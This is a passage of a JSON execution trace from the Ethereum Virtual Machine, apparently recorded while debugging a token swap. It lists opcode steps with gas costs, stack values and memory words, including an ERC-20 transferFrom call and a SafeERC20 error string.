89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13347,"op":"JUMP","gas":79690,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x3bb5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15285,"op":"JUMPDEST","gas":79682,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15286,"op":"PUSH1","gas":79681,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15288,"op":"PUSH1","gas":79678,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15290,"op":"DUP3","gas":79675,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15291,"op":"DUP5","gas":79672,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x20","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15292,"op":"SUB","gas":79669,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x20","0x304","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15293,"op":"SLT","gas":79666,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15294,"op":"ISZERO","gas":79663,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15295,"op":"PUSH2","gas":79660,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15298,"op":"JUMPI","gas":79657,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1","0x3bc7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15303,"op":"JUMPDEST","gas":79647,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15304,"op":"DUP2","gas":79646,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b2